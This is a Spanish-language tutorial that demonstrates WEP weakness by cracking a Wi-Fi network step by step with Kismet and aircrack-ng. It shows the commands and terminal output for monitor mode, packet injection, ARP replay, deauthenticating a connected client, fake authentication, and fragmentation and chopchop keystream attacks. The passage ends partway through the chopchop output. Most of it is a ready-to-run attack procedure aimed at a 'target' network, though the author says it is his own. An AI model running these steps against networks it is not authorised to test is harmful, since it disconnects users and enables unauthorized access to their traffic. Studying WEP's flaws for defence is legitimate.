Demostrando la debilidad de la encriptación inalámbrica mediante WEP

Voy a demostrar la debilidad y facilidad de craquear redes wireless protegidas mediante la obsoleta encriptación WEP, paradójicamente WEP significa «privacidad equivalente a cable» (Wirede Equivalent Privacy en inglés) pero como veremos a continuación nada más lejos de la realidad. Es muy recomendable poder injectar paquetes, lo más fácil es descargar una distribución Live que se ejecute desde USB o CD por ejemplo la bactrack del equipo de remote-exploit (agradecerles su trabajo desde aquí 😉 ) estas distros además de tener aplicados todos los parches necesarios para inyectar paquetes traen todas las herramientas que vayamos a necesitar y muchas más que pueden abrir la puerta a nuevas ideas y retos (keep your mind moving…)

Herramientas que se utilizarán:

  • Kismet: Para la localización de redes
  • wirelesstools: Para la gestión de la tarjeta inalámbrica
  • aircrack-ng: Suit completa de herramientas para los ataques wireless

Para instalar esto desde Ubuntu o Debian ejecuta en un terminal:

sudo apt-get install kismet wirelesstools aircrack-ng

1 Escaneando redes: Buscando el objetivo

Este paso se puede realizar con kismet o con airodump-ng pero como el uso del segundo es un poco engorroso cuando hay muchas redes, lo explicaré con kismet, si queires saber más sobre airodump-ng seguro que encuentras otro tutorial donde explican su uso.

Una vez instaladas estas herramientas hay que configurar Kismet abriendo su archivo de configuración /etc/kismet/kismet.conf desde cualquier editor de textos

paso 1.1

sudo gedit /etc/kismet/kismet.conf

buscar la linea que dice «source=…» y especificar los datos de la tarjeta que usaremos. Esta linea se divide en tres campos separados por comas. El primer campo es el tipo de driver que usaremos, el segundo es el nombre de la tarjeta de red y el tercero el nombre que queramos poner a esta fuente.

Para ver todos los tipos de driver exitentes hay que leer el readme de kismet, ejecutar less /usr/share/doc/kismet/README.gz e ir al apartado de «Capture Sources«.

Para saber el nombre de la tarjeta de red wireless hay que ejecutar

paso 1.2

shell:~/$iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wmaster1  no wireless extensions.

wlan1 IEEE 802.11abgn  ESSID:»WLAN_5D»
Mode:Managed  Frequency:2.422 GHz  Access Point: 00:1A:2B:07:17:2F
Bit Rate=1 Mb/s   Tx-Power=20 dBm
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
Power Management:off
Link Quality=43/100  Signal level:-62 dBm  Noise level=-90 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

pan0      no wireless extensions.

La línea que contenga «IEEE 802.11» es la que indica el nombre de la tarjeta wireless en este caso es wlan1 pero algunos drivers crean una interfaz virtual de control del tipo wifiX o wmasterX así que es esta la que hay que usar, en este caso es la wmaster1 la que le indicaré a kismet, el driver que estoy usando es el rt73 así que mi línea del archivo de configuración de kismet queda así:

paso 1.3

source=rt73,wifi0,madwifi

Nota: Kismet diferencia los estándares wireless a utilizar para algunos drivers, este es el caso para los drivers madwifi, que dispone como madwifi_a, madwifi_b, madwifi_g, madwifi_ab y madwifi_ag. Dependiendo del estándard que use nuestra tarjeta habrá que indicar un tipo u otro, normalmente se usará el rango bg (madwifi_bg) los estándares a y g usan una velocidad de 54Mb/s mientras que el b tan solo alcanza 11Mb/s para más información sobre estándares wifi visita esta web

Ahora hay que ejecutar kismet desde un terminal, recomiendo maximizar el terminal ya que kismet se adapata al tamaño y así se dispondrá de más espacio útil de información.

paso 1.4

sudo kismet

Y aparecera la intefaz de kismet, para empezar hay que pulsar espacio tal y como nos indica la pantalla inicial (leer siempre los mensajes de los programas ;)). Para poder movernos por las redes hay que ordenarlas, para eso hay que pulsar la tecla s (de sort, ordenar en inglés) y decidir por que campo las vamos a ordenar una forma de ordenar interesante es el nivel de la señal que recivimos «Signal power level» que corresponde a la Q mayúscula (Para obtener ayuda sobre cualquier pantalla hay que pulsar la h). La pantalla de kismet tiene este aspecto:

kismet_main

Imágen 1

Las redes que aparecen en color amarillo son redes sin protección, el resto están protegidas, la columna W indica si tiene protección wep (Y), ninguna (N) u otro tipo (O) en este caso tan solo tengo un AP con WEP en casa y es la que aparece seleccionada en la imagen la WLAN_15, bien ya tenemos el objetivo. Veamos más información sobre esta red, pulsando la tecla «enter» aparece información detallada de la red

network_details

Imágen 2

He marcado en rojo la información más relevante de la red: Nombre (SSID), dirección física (MAC) del punto de acceso o router (BSSID), el número de clientes conectados actualmente, el canal y si tiene protección y de qué tipo se trata. Como podeis ver esta ventana es una de las opciones más interesantes de kismet, si pulsais las teclas arriba y abajo aparecerá más información de la red. Lo que nos interesa en este momento es saber si hay o no clientes conectados a la red, en este caso se encuentra un cliente (un lindo eeepc de 1ª generación 😉 ) está bien además recordar el canal por el que emite el 6 en este ejemplo. Ahora para cerrar la ventana de información de la red pulsar la tecla q. Si queremos comprobar el nivel de señal y ruido para esta conexión hay que pulsar la l y aparece la siguiente ventana

signal_level

Imágen 3

La P simboliza la potencia de la señal y la N el ruido de la misma, normalmente a menor potencia más ruido y viceversa, en este caso no hay ruido y hay muy buena señal. De nuevo para cerrar esta ventana pulsar la q y la h para obtener ayuda otra opción interesante es la tecla a que muestra estadisticas del uso de los canales, kismet da mucha información y recomiendo leer la ayuda de la pantalla principal y jugar con las opciones un poco.

Ahora que ya tenemos los datos necesarios y vamos a pasar a la acción hay que decir a kismete que deje de escanear todas los canales y deje a la tarjeta tranquilita en el canal de la red objetivo pulsando la L o también podemos salir de Kismet pulsando la Q (ojo que se diferencian las mayusculas) al principio para no liaros y evitar interferencias entre programas yo saldría de kismet pero por otro lado a veces al salir de kismet la tarjeta se queda colgada y no para de cambiar entre los canales, para solucionar esto hay que descargar y cargar el módulo de la tarjeta wifi que estemos usando. En este ejemplo el módulo es el rt73usb y los comandos serian:

paso 1.4 (opcional)

shell:~$ sudo modprobe -r rt73usb

shell:~$ sudo modprobe rt73usb

El primer comando descarga el módulo mediante la opción -r el segundo lo vuelve a cargar, para saber cual es el módulo de tu tarjeta ejecuta esto:

paso 1.5 (opcional)

shell:~$ sudo aptitude install hwinfo

shell:~$ hwinfo –netcard
44: USB 00.0: 0282 WLAN controller
[Created at usb.122]
UDI: /org/freedesktop/Hal/devices/usb_device_148f_2573_noserial_if0
Unique ID: ADDn.DE+rhRN2uU4
Parent ID: k4bc.9T1GDCLyFd9
SysFS ID: /devices/pci0000:00/0000:00:1d.7/usb1/1-1/1-1:1.0
SysFS BusID: 1-1:1.0
Hardware Class: network
Model: «Ralink 802.11 bg WLAN»
Hotplug: USB
Vendor: usb 0x148f «Ralink Technology, Corp.»
Device: usb 0x2573 «802.11 bg WLAN»
Revision: «0.01»
Driver: «rt73usb»
Driver Modules: «rt73usb»
Device File: wlan1
Features: WLAN
Speed: 480 Mbps
HW Address: 00:0e:2e:f1:16:85
Link detected: yes
WLAN channels: 1 2 3 4 5 6 7 8 9 10 11 12 13 14
WLAN frequencies: 2.412 2.417 2.422 2.427 2.432 2.437 2.442 2.447 2.452 2.457 2.462 2.467 2.472 2.484
WLAN encryption modes: WEP40 WEP104 TKIP CCMP
WLAN authentication modes: open sharedkey wpa-psk wpa-eap
Module Alias: «usb:v148Fp2573d0001dc00dsc00dp00icFFiscFFipFF»
Driver Info #0:
Driver Status: rt2500usb is active
Driver Activation Cmd: «modprobe rt2500usb»
Driver Info #1:
Driver Status: rt73usb is active
Driver Activation Cmd: «modprobe rt73usb»
Config Status: cfg=new, avail=yes, need=no, active=unknown
Attached to: #49 (Hub)

Esta información saldrá repetida para cada tarjeta de red que tenga el pc, hay que asegurarse que es del tipo wlan controler y sobre todo que el Device File conicida con el que le hemos indicado a kismet, en este caso wlan1. También existe el comando lshw instalado por defecto en Ubuntu, pero este no lista información sobre los dispositivos USB.

2 Preparando el equipo para el ataque

Llegó un momento delicado para nuestra tarjeta wifi, ver si soporta la inyección de paquetes. Antes que nada hay que poner la tarjeta en modo monitor, esto quiere decir que la tarjeta cogerá todo el tráfico que pase por su radio de alcance, normalmente las tarjetas tan solo cogen el tráfico del que son destinatarias y descartan el resto, pero esto no quiere decir que no lo «escuchen» sino que hacen caso omiso, en este caso nos interesa «escuchar» todo lo que podamos, este modo se llama «monitor» o tambien «promiscuo». Para realizar esto puede ser necesario utilizar la intefaz de control que es una tarjeta virtual (es decir que no es un dispositivo físico real) que es creada por los drivers, o la tarjeta en sí en mi caso si ejecuto:

paso 2.1

shell:~$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wmaster0 no wireless extensions.

wlan0 IEEE 802.11abg  ESSID:»SpeedTouchA57737″
Mode:Managed  Frequency:2.412 GHz  Access Point: 00:14:7F:64:7B:9F
Bit Rate=54 Mb/s   Tx-Power=15 dBm
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
Power Management:off
Link Quality=79/100  Signal level:-55 dBm  Noise level=-83 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

pan0      no wireless extensions.

wmaster1 no wireless extensions.

wlan1 IEEE 802.11bg  ESSID:»SpeedTouchA57737″
Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
Tx-Power=10 dBm
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
Power Management:off
Link Quality:0  Signal level:0  Noise level:0
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Aparecen dos tarjetas virtuales una para cada tarjeta inalámbrica que tengo, las tarjetas virtuales suelen tener una w en su nombre y la nomenglatura es diferente que la usada para la tarjeta real, en mi caso las tarjetas reales siguen la nomenglatura wlanX mientras que las virtuales siguen el patrón wmasterX pero por ejemplo el dirver madwifi nombra a las tarjetas como athX y a las interfaces de control wlanX (siendo la X el número de la tarjeta 0,1,2…N). Bien como estoy usando la wlan0 para la conexión a internet y la wlan1 para el resto de menesteres debo usar la interfaz de control wmaster1 que es la asociada a la tarjeta wlan1 o la propia tarjeta así pues ejecuto en el terminal lo siguiente:

paso 2.2

shell:~$ sudo airmon-ng start wmaster1

Found 6 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
2774    NetworkManager
2781    wpa_supplicant
2798    avahi-daemon
2799    avahi-daemon
3290    dhclient
3846    dhclient
Process with PID 3290 (dhclient) is running on interface wlan0
Process with PID 3846 (dhclient) is running on interface wlan1

Interface    Chipset        Driver

wlan0        Intel 3945ABG    iwl3945 – [phy0]
wlan1        Ralink 2573 USB    rt73usb – [phy6]

Y no funciona ya que no aparece el mensaje de que ha habilitado el modo monitor en ninguna de las tarjetas, así que pruebo de nuevo pero esta vez con la tarjeta real en lugar de la interfaz de control

paso 2.2

shell:~$ sudo airmon-ng start wlan1

Found 6 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
2774    NetworkManager
2781    wpa_supplicant
2798    avahi-daemon
2799    avahi-daemon
3290    dhclient
3846    dhclient
Process with PID 3290 (dhclient) is running on interface wlan0
Process with PID 3846 (dhclient) is running on interface wlan1

Interface    Chipset        Driver

wlan0        Intel 3945ABG    iwl3945 – [phy0]
wlan1 Ralink 2573 USB    rt73usb – [phy6]
(monitor mode enabled on mon0)

Ahora sí, ha habilitado el modo monitor en la tarjeta wlan1 creando otra tarjeta virtual la mon0 será esta la tarjeta que utilice a partir de ahora para las operaciones. Es importante tener en cuenta los procesos que indica que pueden causar problemas (es el mensaje marcado en rojo), si las cosas no funciona bien lo primero que hay que hacer es matar esos procesos y volver a probar todo (lo más aconsejable es matarlos antes de continuar) , para matar los procesos ejecutar: sudo pkill -9 nombre_del_proceso he marcado los nombres de los procesos en gris y los que aparezcan en tu caso no tienen por que ser los mismos. Ahora veamos si soporta la injección de paquetes, en un terminal ejecutar

paso 2.3

shell:~$ sudo aireplay-ng -9 mon0
16:52:29  Trying broadcast probe requests…
16:52:29  Injection is working!
16:52:30  Found 3 APs

16:52:30  Trying directed probe requests…
16:52:30  00:14:7F:64:7B:9F – channel: 1 – ‘SpeedTouchA57737’
16:52:34  Ping (min/avg/max): 1.744ms/131.365ms/178.648ms Power: -51.07
16:52:34  30/30: 100%

16:52:34  00:18:84:81:33:CE – channel: 2 – ‘abdulet’
16:52:39  Ping (min/avg/max): 92.988ms/158.578ms/198.908ms Power: -49.07
16:52:39  28/30:  93%

16:52:39  00:18:84:81:33:CD – channel: 2 – ‘FON_Flo’
16:52:45  Ping (min/avg/max): 67.915ms/133.328ms/185.052ms Power: -49.80
16:52:45  10/30:  33%

Si aparece el texto «Injection is working!» pues ala no hay nada de que preocupase, si no aparece entonces significa que o bien la tarjeta no soporta la inyección de paquetes o bien el driver no está compilado para soportarlo (antes de arrojar la toalla prueba con el nombre de la tarjeta real y con el de la interfaz de control, en este caso se podría probar con wlan1 y wmaster1, cada driver hace las cosas a su manera). Si todo falla tienes que hacer una búsqueda del tipo «inyección de paquetes linux nombre del driver» donde nombre del driver es el que indica el campo Driver: del resultado devuelto por el comando hwinfo, ejecutado en el paso 1.5, (si no encuentras resultados mediante la búsqueda en castellano, prueba a buscar en inglés).

Nota: Para aquellos que dispongan de un chipset AR5008 de Atheros y quieran compilar el driver madwifi a manija, en este post explico como hacerlo además de ofrecer un paquete para ubuntu 9.04

3 Atacando al objetivo

3.1 Capturando paquetes

Bueno pues ya hemos conseguido los datos necesarios sobre el objetivo y preparado el terreno para la acción, así que pasemos al ataque. El siguiente paso es empezar a capturar paquetes de la red que vamos a atacar, para identifacarla vamos a usar el BSSID y el canal ejecutando

shell:~$ sudo airodump-ng -w wlan15 -d 00:01:38:A4:97:18 -c 6 -i -a –showack mon0

CH  6 ][ Elapsed: 28 s ][ 2009-05-14 17:14 ][ fixed channel mon0: 11

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:01:38:A4:97:18 -29  13       52        0    0   6 54e. WEP  WEP         WLAN_15

BSSID                                STATION            PWR   Rate    Lost  Packets  Probes

00:01:38:A4:97:18 00:15:AF:80:C2:D5 -39    0 -18      0        1

MAC                CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER

00:19:D2:0B:34:E5  113 -47      1     0      0      0      0      0
00:14:7F:64:7B:9F  113 -35      2     0      0      0      0      0
00:15:AF:80:C2:D5  133 -33      1     0      0      0      0      0

ya estamos capturando, si aparece el texto marcado en rojo provablemente se deba a que se está ejecutando el programa NetworkManager. Para airodump-ng pulsando Control+c, ejecuta pkill -9 NetworkManager y vuelve a ejacutar airodump-ng. Los parámetros usados son:

  • w: Especifica un prefijo para los archivos que almacenaraán los paquetes capturados
  • -d: BSSID o dirección MAC del AP o la red que atacaremos
  • -c6: Canal del AP o la red que atacaremos
  • -i: Hace que tan solo se capturen los paquetes del tipo iv (vectores de inicialización o inicialization vector en inglés) que son los utilizados para encontrar la contraseña, por lo tanto los únicos interesantes.
  • -a: Tan solo mostrará los clientes que estén asociados al AP
  • –showack: Es totalmente opcional y tan solo da información extra sobre paquetes (todo lo que aparece debajo de la línea  que empieza con MAC….)

Puedes ser necesario ver la dirección MAC de algún cliente que esté conectado para deautenticarlo durante la inyección de paquetes y forzar así la creación de paquetes ARP por parte del cliente, es el número que he puesto en azul justo debajo de la columna STATION, si no aparece nigún cliente la solución está más abajo 😉 (en el punto 3.2.2)

3.2 Inyectando paquetes

3.2.1 Inyectando paquetes en redes con clientes conectados

Ahora desde otro terminal ejecutaremos la injección de paquetes

shell:~$ sudo aireplay-ng -3 -b 00:01:38:A4:97:18 mon0
The interface MAC (00:0E:2E:F1:16:85) doesn’t match the specified MAC (-h).
ifconfig mon0 hw ether 00:15:AF:80:C2:D5
17:45:10  Waiting for beacon frame (BSSID: 00:01:38:A4:97:18) on channel 7
17:45:11  mon0 is on channel 7, but the AP uses channel 6

Vaya la tarjeta mon0 está en un canal distinto al del AP y no funciona, eso se debe a que se está ejecutando el programa NetworkManager y este coge el control de la tarjeta, este es uno de los prcesos indicados como posibles problemas en el paso 2.2 así que lo mejor es matar este poceso (pkill -9 NetworkManager) pero también lo puedes volver a ejecutar el comando hasta que funcione.

shell:~$ sudo aireplay-ng -3 -b 00:01:38:A4:97:18 mon0
The interface MAC (00:0E:2E:F1:16:85) doesn’t match the specified MAC (-h).
ifconfig mon0 hw ether 00:15:AF:80:C2:D5
18:01:49  Waiting for beacon frame (BSSID: 00:01:38:A4:97:18) on channel 6
Saving ARP requests in replay_arp-0514-180149.cap
You should also start airodump-ng to capture replies.
Read 5 packets (got 0 ARP requests and 0 ACKs), sent 0 packets…(0 pps)
Read 36704 packets (got 9164 ARP requests and 18976 ACKs), sent 15981 packets…(500 pps)

Voila! estamos inyectando paquetes. Los parámetros especificados son:

  • -3: Es el tipo de ataque que se ejecutará, en este caso es la inyección mediante replicación de paquetes del tipo ARP
  • -b: BSSID de la red objetivo
  • mon0: La tarjeta de red a utilizar, debe ser la que hayas puesto en modo monitor

este paso no es tan sencillo y puede que no consigas capturar paquetes ARP que son el tipo necesario para inyectar ya que producen paquetes del tipo IV que son los requeridos para craquear la contraseña, pero una vez se ha capturado un paquete los números suben que da gusto ;). Lo iportante es que suba el número marcado en rojo pero si no aumenta podemos intentar forzar a un cliente a que genere paquetes ARP mediante la desautenticación, este proceso hace que el cliente se desconecte del access point y en algunas versiones de Windows esto produce que se borre la tabla ARP y que el cliente tenga que volver a realizar peticiones ARP pero en otras versiones no y en otros sitemas operativos tampoco así que esto no asegura nada pero a veces funciona. La deautenticación se ejecuta así:

shell:~$ sudo aireplay-ng -0 10 -a 00:01:38:A4:97:18 -c 00:15:AF:80:C2:D5 mon0

16:45:42  Waiting for beacon frame (BSSID: 00:01:38:D7:2F:7F) on channel 1
16:45:42  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|15 ACKs]
16:45:43  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|10 ACKs]
16:45:43  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|24 ACKs]
16:45:44  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|14 ACKs]
16:45:58  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|28 ACKs]
16:45:59  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0| 1 ACKs]
16:46:12  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|33 ACKs]
16:46:25  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|74 ACKs]
16:46:26  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|46 ACKs]
16:46:40  Sending 64 directed DeAuth. STMAC: [00:01:38:A4:97:18] [ 0|59 ACKs]

Las opciones usadas son:

  • -0 10: Es el tipo de paquete a inyectar, 0 es de tipo deautenticación y el 10 es el número de paquetes que se eviarán
  • -a: El BSSID (o dirección MAC) de la red objetivo
  • -c: Es la dirección MAC de un cliente conectado, lo hemos visto en el paso 3.1 marcado también en azul
  • mon0: La tarjeta de red donde en la que se inyectarán los paquetes

Pero recuerda este paso no asegura la obtención de paquetes ARP y en este paso hay que tener paciencia o también puedes probar el paso 3.2.2

3.2.2 Inyectando paquetes en redes sin clientes conectados

Ya sea por que no haya clientes conectados o por que la red no produzca ningún paquete ARP nos puede interesar generar un paquete ARP por cuenta propia e inyectarlo en la red. Tenemos dos técnicas para esta tarea, la de fragmentación y la de chopchop, dependiendo del dispositivo al que ataquemos puede ser más efectiva una u otra. Estas técnicas buscan la creación de un archivo con información PRGA (Algoritmo de generación pseudoaleatoria, Pseudo Random Generation Algoritm). Antes de ejecutar estas técnicas hay que hacer una autenticación falsa con el access point, se considera falsa ya que realmente no podemos asociarnos al AP ya que no tenemos la contraseña WEP pero le haremos creer que lo estamos consiguiendo de esta manera que acepte paquetes provenientes de nuestro ordenador. Para conseguir la autenticación ejecutar

shell:~$ sudo aireplay-ng -1 6000 -o 1 -q 10 -a 00:01:38:A4:97:18 mon0

Los parámetros son

  • -1: Ataque de falsa autenticación

  • 6000: Vuelve a autenticarse cada 6000 segundos

  • -0 1: Envía una sola petición de autenticación en cada intento (enviar varias peticiones confunde a algunos AP)

  • -q 10: Envía un keepalive cada 10 segundos, esto sirve para que no considere que nos hemos desconectado por falta de tráfico en la red por nuestra parte. (keepalive quiere decir sigo vivo 😉 )

  • -a: BSSID del AP objetivo

  • mon0: La tarjeta de red a utilizar

El resultado de una autenticación correcta es este

shell:~$ sudo aireplay-ng -1 6000 -o 1 -q 10 -a 00:01:38:A4:97:18 mon0
[sudo] password for abdul:
No source MAC (-h) specified. Using the device MAC (00:19:D2:0B:34:E5)
18:20:08  Waiting for beacon frame (BSSID: 00:01:38:CE:45:14) on channel 5

18:20:08  Sending Authentication Request (Open System) [ACK]
18:20:08  Authentication successful
18:20:08  Sending Association Request [ACK]
18:20:08  Association successful 🙂 (AID: 1)

Tras lo cual aparecerá cada 10 segundos una línea del tipo

18:20:18  Sending keep-alive packet [ACK]
18:20:28  Sending keep-alive packet [ACK]
18:20:38  Sending keep-alive packet [ACK]

que son los paquetes del tipo keepalive. Una petición de autenticación que falla tiene este aspecto

18:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful 🙂
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Si te falla la autenticación ejecuta en un terminal

tcpdump -n -e -s0 -vvv -i mon0 | grep -i DeAuth

11:04:34.360700 314us BSSID:00:01:38:A4:97:18 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Y según la clase de sesultado que aparezca deberás hacer una búsqueda en Google, pero normalmente se soluciona con esperar un rato y volver a probarlo.

3.2.2.1 Obtener información PRGA mediante la técnica de fragmentación

Tan solo hay que ejecutar este comando

sudo aireplay-ng -5 -b 00:01:38:A4:97:18 mon0

siendo sus parámetros:

  • -5: Ataque por fragmentación

  • -b: BSSID del AP objetivo

  • mon0: Tarjeta de red a utilizar

El resultado será algo parecido a esto

sudo aireplay-ng -5 -b 00:01:38:A4:97:18 mon0

No source MAC (-h) specified. Using the device MAC (00:19:D2:0B:34:E5)
17:56:23  Waiting for beacon frame (BSSID: 00:01:38:CE:45:14) on channel 5
17:56:23  Waiting for a data packet…

Read 159 packets…

Size: 86, FromDS: 1, ToDS: 0 (WEP)

BSSID  =  00:01:38:A4:97:18
Dest. MAC  =  01:00:5E:00:00:4D
Source MAC  =  00:03:91:68:6B:52

0x0000:  0842 0000 0100 5e00 004d 0001 38ce 4514  .B….^..M..8.E.
0x0010:  0003 9168 6b52 5027 db1e 3c00 f931 e247  …hkRP’..<..1.G
0x0020:  7a3c 8ec4 bcbc 98e7 39a3 2392 f521 cc95  z<……9.#..!..
0x0030:  f3d3 490a 6adf daf7 b847 c033 8cb8 cb7a  ..I.j….G.3…z
0x0040:  713e fde5 f88a fd86 da9b e5b1 d373 8eff  q>………..s..
0x0050:  525a dd72 e42e                           RZ.r..

Use this packet ? y

Cuando el comando consigue capturar algún paquete nos pregunta si queremos usarlo, respondemos que sí mediante la y y el proceso continúa

Saving chosen packet in replay_src-0517-154349.cap
15:45:03  Data packet found!
15:45:03  Sending fragmented packet
15:45:05  No answer, repeating…
15:45:05  Trying a LLC NULL packet
15:45:05  Sending fragmented packet
15:45:06  No answer, repeating…
15:45:06  Sending fragmented packet
15:45:06  Not enough acks, repeating…
…..

…..

15:45:20  Not enough acks, repeating…
15:45:20  Sending fragmented packet
15:45:22  No answer, repeating…

15:45:22  Still nothing, trying another packet…

Read 308 packets…

Size: 72, FromDS: 1, ToDS: 0 (WEP)

BSSID  =  00:01:38:A4:97:18
Dest. MAC  =  01:00:5E:00:00:01
Source MAC  =  00:01:38:CD:B0:65

0x0000:  0842 0000 0100 5e00 0001 0001 38ce 4514  .B….^…..8.E.
0x0010:  0001 38cd b065 2067 161f 3c00 2052 88b8  ..8..e g..<. R..
0x0020:  e6a8 9315 2078 1e20 06ea c18c b57f d968  …. x. …...h
0x0030:  2a60 245d cd26 d4b1 5e12 d24d 0d81 1ffc  *`$].&..^..M….
0x0040:  70ee 3d52 d335 12ad                      p.=R.5..

Use this packet ? y

Esta pregunta puede aprecer varias veces en una sesión simplemente responder que sí

Saving chosen packet in replay_src-0517-154527.cap
15:45:29  Data packet found!
15:45:29  Sending fragmented packet
15:45:31  No answer, repeating…
15:45:31  Trying a LLC NULL packet
15:45:31  Sending fragmented packet
15:45:33  No answer, repeating…
15:45:33  Sending fragmented packet
15:45:33  Got RELAYED packet!!
15:45:33  Trying to get 384 bytes of a keystream
15:45:34  No answer, repeating…
15:45:34  Trying to get 384 bytes of a keystream
15:45:34  Trying a LLC NULL packet
15:45:36  No answer, repeating…
….

….

15:45:55  Not enough acks, repeating…
15:45:55  Trying to get 1500 bytes of a keystream
15:45:55  Trying a LLC NULL packet
15:45:56  No answer, repeating…
15:45:56  Trying to get 1500 bytes of a keystream
15:45:56  Got RELAYED packet!!
Saving keystream in fragment-0517-154556.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Bien!! ha conseguido suficiente información PRGA como para crear un paquete ARP y la ha almacenado en el archivo fragment-0517-154556.xor. Si te ha funcionado este proceso puedes seguir por el punto 3.2.2.3, si no te ha funcionado prueba con el siguiente punto

3.2.2.2 Obtener información PRGA mediante la técnica de chopchop

Para ejecutar la técnica chopchop el comando es:

shell:~$ sudo aireplay-ng -4 -b 00:01:38:A4:97:18 -h 00:19:D2:0B:34:E5 mon0

siendo sus parámetros:

  • -4: Ataque chopchop

  • -b: BSSID de la red objetivo

  • -h: Dirección MAC de la tarjeta de red que estamos usando

  • mon0: Tarjeta de red que estamos usando

Para saber la dirección MAC de nuestra tarjeta lo más fácil es ejecutar

shell:~$ sudo aireplay-ng -3 -b 00:01:38:A4:97:18 mon0
No source MAC (-h) specified. Using the device MAC (00:19:D2:0B:34:E5)
18:02:33  Waiting for beacon frame (BSSID: 00:0F:21:6F:87:CA) on channel 5

y al no haber especificado la dirección MAC del cliente utiliza la de nuestra tarjeta por defecto y nos indica cual es, en este caso: Using the device MAC (00:19:D2:0B:34:E5). Para cancelar este ataque pulsa las teclas control+c.

La ejecución del ataque chopchop debe ser algo así:

shell:~$ sudo aireplay-ng -4 -b 00:01:38:A4:97:18 -h 00:19:D2:0B:34:E5 mon0

15:28:13  Waiting for beacon frame (BSSID: 00:01:38:CE:45:14) on channel 5
Read 472 packets…

Size: 86, FromDS: 1, ToDS: 0 (WEP)

BSSID  =  00:01:38:A4:97:18
Dest. MAC  =  01:00:5E:00:02:0A
Source MAC  =  00:03:91:68:6B:52

0x0000:  0842 0000 0100 5e00 020a 0001 38ce 4514  .B….^…..8.E.
0x0010:  0003 9168 6b52 e055 2f15 3c00 4c3b fe74  …hkR.U/.<.L;.t
0x0020:  5255 3087 4751 d399 0637 35f4 7832 1419  RU0.GQ…75.×2..
0x0030:  05b3 5862 55fb a319 f8a4 3f8b 5a08 deae  ..XbU…..?.Z…
0x0040:  4fe1 f1a1 10a2 8189 ee95 1038 ae7f 0bab  O……….8...
0x0050:  5feb 30cb aca0                           _.0…

Use this packet ? y

Cuando detecte un paquete útil nos pedirá confirmación para seguir, le decimos que sí pulsando la y y continuamos el proceso

Saving chosen packet in replay_src-0517-152823.cap

Offset   85 ( 0% done) | xor = CF | pt = 6F |  522 frames written in  8880ms
Offset   84 ( 1% done) | xor = B5 | pt = 19 |  597 frames written in 10151ms
Offset   83 ( 3% done) | xor = 5B | pt = 90 | 1838 frames written in 31247ms
Offset   82 ( 5% done) | xor = 0A | pt = 3A |  553 frames written in  9394ms
Offset   81 ( 7% done) | xor = EB | pt = 00 |  396 frames written in  6744ms
Offset   80 ( 9% done) | xor = 5F | pt = 00 | 1156 frames written in 19654ms
Offset   79 (11% done) | xor = AB | pt = 00 |  515 frames written in  8753ms
Offset   78 (13% done) | xor = 0B | pt = 00 |  935 frames written in 15883ms
Offset   77 (15% done) | xor = 7F | pt = 00 |  569 frames written in  9676ms
Offset   76 (17% done) | xor = AE | pt = 00 |  407 frames written in  6928ms
Offset   75 (19% done) | xor = 38 | pt = 00 | 1372 frames written in 23313ms
Offset   74 (21% done) | xor = 10 | pt = 00 | 3902 frames written in 66334ms
Offset   73 (23% done) | xor = 95 | pt = 00 |  928 frames written in 15779ms
Offset   72 (25% done) | xor = EE | pt = 00 | 1009 frames written in 17163ms
Offset   71 (26% done) | xor = 89 | pt = 00 |  396 frames written in  6722ms
Offset   70 (28% done) | xor = 81 | pt = 00 |  825 frames written in 14029ms
Offset   69 (30% done) | xor = A2 | pt = 00 |  452 frames written in  7676ms
Offset   68 (32% done) | xor = 10 | pt = 00 | 1793 frames written in 30484ms
Offset   67 (34% done) | xor = AB | pt = 0A |  625 frames written in 10628ms
Offset   66 (36% done) | xor = F3 | pt = 02 |  832 frames written in 14140ms
Offset   65 (38% done) | xor = E1 | pt = 00 |  384 frames written in  6534ms
Offset   64 (40% done) | xor = A0 | pt = EF |  545 frames written in  9259ms
Offset   63 (42% done) | xor = 5A | pt = F4 |  653 frames written in 11103ms
Offset   62 (44% done) | xor = 26 | pt = F8 |  675 frames written in 11473ms
Offset   61 (46% done) | xor = 08 | pt = 00 |  432 frames written in  7346ms
Offset   60 (48% done) | xor = 4C | pt = 16 | 3028 frames written in 51479ms
Offset   59 (50% done) | xor = 8B | pt = 00 |  386 frames written in  6558ms
Offset   58 (51% done) | xor = 3F | pt = 00 |  591 frames written in 10053ms
Offset   57 (53% done) | xor = A0 | pt = 04 |  821 frames written in 13959ms
